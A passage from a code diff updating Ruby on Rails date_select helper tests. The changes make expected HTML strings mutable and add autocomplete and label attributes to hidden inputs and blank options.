     expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
     expected << "</select>\n"
 
@@ -1790,7 +1874,7 @@ def test_date_select_with_selected
     @post = Post.new
     @post.written_on = Date.new(2004, 6, 15)
 
-    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+    expected = +%{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
     expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option selected="selected" value="2004">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
     expected << "</select>\n"
 
@@ -1810,7 +1894,7 @@ def test_date_select_with_selected_in_hash
     @post = Post.new
     @post.written_on = Date.new(2004, 6, 15)
 
-    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+    expected = +%{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
     expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option selected="selected" value="2004">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
     expected << "</select>\n"
 
@@ -1830,14 +1914,14 @@ def test_date_select_with_selected_nil
     @post = Post.new
     @post.written_on = Date.new(2004, 6, 15)
 
-    expected = '<input id="post_written_on_1i" name="post[written_on(1i)]" type="hidden" value="1"/>' + "\n"
+    expected = '<input id="post_written_on_1i" name="post[written_on(1i)]" type="hidden" value="1" autocomplete="off"/>' + "\n"
 
     expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
-    expected << %{<option value=""></option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+    expected << %{<option value="" label=" "></option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
     expected << "</select>\n"
 
     expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
-    expected << %{<option value=""></option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
+    expected << %{<option value="" label=" "></option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
 
     expected << "</select>\n"
 
@@ -1848,7 +1932,7 @@ def test_date_select_without_day
     @post = Post.new
     @post.written_on = Date.new(2004, 6, 15)
 
-    expected = "<input type=\"hidden\" id=\"post_written_on_3i\" name=\"post[written_on(3i)]\" value=\"1\" />\n"
+    expected = +"<input type=\"hidden\" id=\"post_written_on_3i\" name=\"post[written_on(3i)]\" value=\"1\" autocomplete=\"off\" />\n"
 
     expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
     expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
@@ -1865,8 +1949,8 @@ def test_date_select_without_day_and_month
     @post = Post.new
     @post.written_on = Date.new(2004, 2, 29)
 
-    expected = "<input type=\"hidden\" id=\"post_written_on_2i\" name=\"post[written_on(2i)]\" value=\"2\" />\n"
-    expected << "<input type=\"hidden\" id=\"post_written_on_3i\" name=\"post[written_on(3i)]\" value=\"1\" />\n"
+    expected = +"<input type=\"hidden\" id=\"post_written_on_2i\" name=\"post[written_on(2i)]\" value=\"2\" autocomplete=\"off\" />\n"
+    expected << "<input type=\"hidden\" id=\"post_written_on_3i\" name=\"post[written_on(3i)]\" value=\"1\" autocomplete=\"off\" />\n"
 
     expected << %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
     expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
@@ -1879,7 +1963,7 @@ def test_date_select_without_day_with_separator
     @post = Post.new
     @post.written_on = Date.new(2004, 6, 15)
 
-    expected = "<input type=\"hidden\" id=\"post_written_on_3i\" name=\"post[written_on(3i)]\" value=\"1\" />\n"
+    expected = +"<input type=\"hidden\" id=\"post_written_on_3i\" name=\"post[written_on(3i)]\" value=\"1\" autocomplete=\"off\" />\n"
 
     expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
     expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
@@ -1898,7 +1982,7 @@ def test_date_select_without_day_and_with_disabled_html_option
     @post = Post.new
     @post.written_on = Date.new(2004, 6, 15)
 
-    expected = "<input type=\"hidden\" id=\"post_written_on_3i\" disabled=\"disabled\" name=\"post[written_on(3i)]\" value=\"1\" />\n"
+    expected = +"<input type=\"hidden\" id=\"post_written_on_3i\" disabled=\"disabled\" name=\"post[written_on(3i)]\" value=\"1\" autocomplete=\"off\" />\n"
 
     expected << %{<select id="post_written_on_2i" disabled="disabled" name="post[written_on(2i)]">\n}
     expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
@@ -1908,7 +1992,7 @@ def test_date_select_without_day_and_with_disabled_html_option
     expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
     expected << "</select>\n"
 
-    assert_dom_equal expected, date_select("post", "written_on", { order: [ :month, :year ] }, disabled: true)
+    assert_dom_equal expected, date_select("post", "written_on", { order: [ :month, :year ] }, { disabled: true })
   end
 
   def test_date_select_within_fields_for
@@ -1919,7 +2003,7 @@ def test_date_select_within_fields_for
       concat f.date_select(:written_on)
     end
 
-    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option selected="selected" value="2004">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n</select>\n}
+    expected = +%{<select id="post_written_on_1i" name="post[written_on(1i)]">\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option selected="selected" value="2004">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n</select>\n}
     expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option selected="selected" value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n</select>\n}
     expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option selected="selected" value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n</select>\n}
 
@@ -1935,7 +2019,7 @@ def test_date_select_within_fields_for_with_index
       concat f.date_select(:written_on)
     end
 
-    expected = %{<select id="post_#{id}_written_on_1i" name="post[#{id}][written_on(1i)]">\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option selected="selected" value="2004">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n</select>\n}
+    expected = +%{<select id="post_#{id}_written_on_1i" name="post[#{id}][written_on(1i)]">\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option selected="selected" value="2004">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n</select>\n}
     expected << %{<select id="post_#{id}_written_on_2i" name="post[#{id}][written_on(2i)]">\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option selected="selected" value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n</select>\n}
     expected << %{<select id="post_#{id}_written_on_3i" name="post[#{id}][written_on(3i)]">\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option selected="selected" value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n</select>\n}
 
@@ -1951,7 +2035,7 @@ def test_date_select_within_fields_for_with_blank_index
       concat f.date_select(:written_on)
     end
 
-    expected = %{<select id="post_#{id}_written_on_1i" name="post[#{id}][written_on(1i)]">\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option selected="selected" value="2004">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n</select>\n}
+    expected = +%{<select id="post_#{id}_written_on_1i" name="post[#{id}][written_on(1i)]">\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option selected="selected" value="2004">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n</select>\n}
     expected << %{<select id="post_#{id}_written_on_2i" name="post[#{id}][written_on(2i)]">\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option selected="selected" value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n</select>\n}
     expected << %{<select id="post_#{id}_written_on_3i" name="post[#{id}][written_on(3i)]">\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option selected="selected" value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n</select>\n}
 
@@ -1963,7 +2047,7 @@ def test_date_select_with_index
     @post.written_on = Date.new(2004, 6, 15)
     id = 456
 
-    expected = %{<select id="post_456_written_on_1i" name="post[#{id}][written_on(1i)]">\n}
+    expected = +%{<select id="post_456_written_on_1i" name="post[#{id}][written_on(1i)]">\n}
     expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
     expected << "</select>\n"
 
@@ -1983,7 +2067,7 @@ def test_date_select_with_auto_index
     @post.written_on = Date.new(2004, 6, 15)
     id = 123
 
-    expected = %{<select id="post_123_written_on_1i" name="post[#{id}][written_on(1i)]">\n}
+    expected = +%{<select id="post_123_written_on_1i" name="post[#{id}][written_on(1i)]">\n}
     expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
     expected << "</select>\n"
 
@@ -2002,7 +2086,7 @@ def test_date_select_with_different_order
     @post = Post.new
     @post.written_on = Date.new(2004, 6, 15)
 
-    expected = %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+    expected = +%{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
     1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
     expected << "</select>\n"
 
@@ -2022,7 +2106,7 @@ def test_date_select_with_nil
 
     start_year = Time.now.year - 5
     end_year   = Time.now.year + 5
-    expected =   %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+    expected =   +%{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
     start_year.upto(end_year) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == Time.now.year}>#{i}</option>\n) }
     expected << "</select>\n"
 
@@ -2042,18 +2126,18 @@ def test_date_select_with_nil_and_blank
 
     start_year = Time.now.year - 5
     end_year   = Time.now.year + 5
-    expected =   %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
-    expected << "<option value=\"\"></option>\n"
+    expected =   +%{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+    expected << "<option value=\"\" label=\" \"></option>\n"
     start_year.upto(end_year) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
     expected << "</select>\n"
 
     expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
-    expected << "<option value=\"\"></option>\n"
+    expected << "<option value=\"\" label=\" \"></option>\n"
     1.upto(12) { |i| expected << %(<option value="#{i}">#{Date::MONTHNAMES[i]}</option>\n) }
     expected << "</select>\n"
 
     expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
-    expected << "<option value=\"\"></option>\n"
+    expected << "<option value=\"\" label=\" \"></option>\n"
     1.upto(31) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
     expected << "</select>\n"
 
@@ -2066,14 +2150,14 @@ def test_date_select_with_nil_and_blank_and_order
     start_year = Time.now.year - 5
     end_year   = Time.now.year + 5
 
-    expected = '<input name="post[written_on(3i)]" type="hidden" id="post_written_on_3i" value="1"/>' + "\n"
+    expected = '<input name="post[written_on(3i)]" type="hidden" id="post_written_on_3i" value="1" autocomplete="off"/>' + "\n"
     expected << %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
-    expected << "<option value=\"\"></option>\n"
+    expected << "<option value=\"\" label=\" \"></option>\n"
     start_year.upto(end_year) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
     expected << "</select>\n"
 
     expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
-    expected << "<option value=\"\"></option>\n"
+    expected << "<option value=\"\" label=\" \"></option>\n"
     1.upto(12) { |i| expected << %(<option value="#{i}">#{Date::MONTHNAMES[i]}</option>\n) }
     expected << "</select>\n"
 
@@ -2086,12 +2170,12 @@ def test_date_select_with_nil_and_blank_and_discard_month
     start_year = Time.now.year - 5
     end_year   = Time.now.year + 5
 
-    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
-    expected << "<option value=\"\"></option>\n"
+    expected = +%{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+    expected << "<option value=\"\" label=\" \"></option>\n"
     start_year.upto(end_year) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
     expected << "</select>\n"
-    expected << '<input name="post[written_on(2i)]" type="hidden" id="post_written_on_2i" value="1"/>' + "\n"
-    expected << '<input name="post[written_on(3i)]" type="hidden" id="post_written_on_3i" value="1"/>' + "\n"
+    expected << '<input name="post[written_on(2i)]" type="hidden" id="post_written_on_2i" value="1" autocomplete="off"/>' + "\n"
+    expected << '<input name="post[written_on(3i)]" type="hidden" id="post_written_on_3i" value="1" autocomplete="off"/>' + "\n"
 
     assert_dom_equal expected, date_select("post", "written_on", discard_month: true, include_blank: true)
   end
@@ -2099,15 +2183,15 @@ def test_date_select_with_nil_and_blank_and_discard_month
   def test_date_select_with_nil_and_blank_and_discard_year
     @post = Post.new
 
-    expected = '<input id="post_written_on_1i" name="post[written_on(1i)]" type="hidden" value="1" />' + "\n"
+    expected = '<input id="post_written_on_1i" name="post[written_on(1i)]" type="hidden" value="1" autocomplete="off" />' + "\n"
 
     expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
-    expected << "<option value=\"\"></option>\n"
+    expected << "<option value=\"\" label=\" \"></option>\n"
     1.upto(12) { |i| expected << %(<option value="#{i}">#{Date::MONTHNAMES[i]}</option>\n) }
     expected << "</select>\n"
 
     expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
-    expected << "<option value=\"\"></option>\n"
+    expected << "<option value=\"\" label=\" \"></option>\n"
     1.upto(31) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
     expected << "</select>\n"
 
@@ -2118,7 +2202,7 @@ def test_date_select_cant_override_discard_hour
     @post = Post.new
     @post.written_on = Date.new(2004, 6, 15)
 
-    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+    expected = +%{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
     expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
     expected << "</select>\n"
 
@@ -2137,7 +2221,7 @@ def test_date_select_with_html_options
     @post = Post.new
     @post.written_on = Date.new(2004, 6, 15)
 
-    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]" class="selector">\n}
+    expected = +%{<select id="post_written_on_1i" name="post[written_on(1i)]" class="selector">\n}
     expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
     expected << "</select>\n"
 
@@ -2150,7 +2234,7 @@ def test_date_select_with_html_options
 
     expected << "</select>\n"
 
-    assert_dom_equal expected, date_select("post", "written_on", {}, class: "selector")
+    assert_dom_equal expected, date_select("post", "written_on", {}, { class: "selector" })
   end
 
   def test_date_select_with_html_options_within_fields_for
@@ -2158,10 +2242,10 @@ def test_date_select_with_html_options_within_fields_for
     @post.written_on = Date.new(2004, 6, 15)
 
     output_buffer = fields_for :post, @post do |f|
-      concat f.date_select(:written_on, {}, class: "selector")
+      concat f.date_select(:written_on, {}, { class: "selector" })
     end
 
-    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]" class="selector">\n}
+    expected = +%{<select id="post_written_on_1i" name="post[written_on(1i)]" class="selector">\n}
     expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
     expected << "</select>\n"
 
@@ -2181,7 +2265,7 @@ def test_date_select_with_separator
     @post = Post.new
     @post.written_on = Date.new(2004, 6, 15)
 
-    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+    expected = +%{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
     expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
     expected << "</select>\n"
 
@@ -2205,7 +2289,7 @@ def test_date_select_with_separator_and_order
     @post = Post.new
     @post.written_on = Date.new(2004, 6, 15)
 
-    expected = %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+    expected = +%{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
     expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
     expected << "</select>\n"
 
@@ -2228,7 +2312,7 @@ def test_date_select_with_separator_and_order_and_year_discarded
     @post = Post.new
     @post.written_on = Date.new(2004, 6, 15)
 
-    expected = %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+    expected = +%{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
     expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n}
     expected << "</select>\n"
 
@@ -2237,7 +2321,7 @@ def test_date_select_with_separator_and_order_and_year_discarded
     expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
     expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
     expected << "</select>\n"
-    expected << %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
+    expected << %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" autocomplete="off" />\n}
 
     assert_dom_equal expected, date_select("post", "written_on", order: [:day, :month, :year], discard_year: true, date_separator: " / ")
   end
@@ -2246,7 +2330,7 @@ def test_date_select_with_default_prompt
     @post = Post.new
     @post.written_on = Date.new(2004, 6, 15)
 
-    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+    expected = +%{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
     expected << %{<option value="">Year</option>\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
     expected << "</select>\n"
 
@@ -2266,7 +2350,7 @@ def test_date_select_with_custom_prompt
     @post = Post.new
     @post.written_on = Date.new(2004, 6, 15)
 
-    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+    expected = +%{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
     expected << %{<option value="">Choose year</option>\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
     expected << "</select>\n"
 
@@ -2286,7 +2370,7 @@ def test_date_select_with_generic_with_css_classes
     @post = Post.new
     @post.written_on = Date.new(2004, 6, 15)
 
-    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]" class="year">\n}
+    expected = +%{<select id="post_written_on_1i" name="post[written_on(1i)]" class="year">\n}
     expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
     expected << "</select>\n"
 
@@ -2306,7 +2390,7 @@ def test_date_select_with_custom_with_css_classes
     @post = Post.new
     @post.written_on = Date.new(2004, 6, 15)
 
-    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]" class="my-year">\n}
+    expected = +%{<select id="post_written_on_1i" name="post[written_on(1i)]" class="my-year">\n}
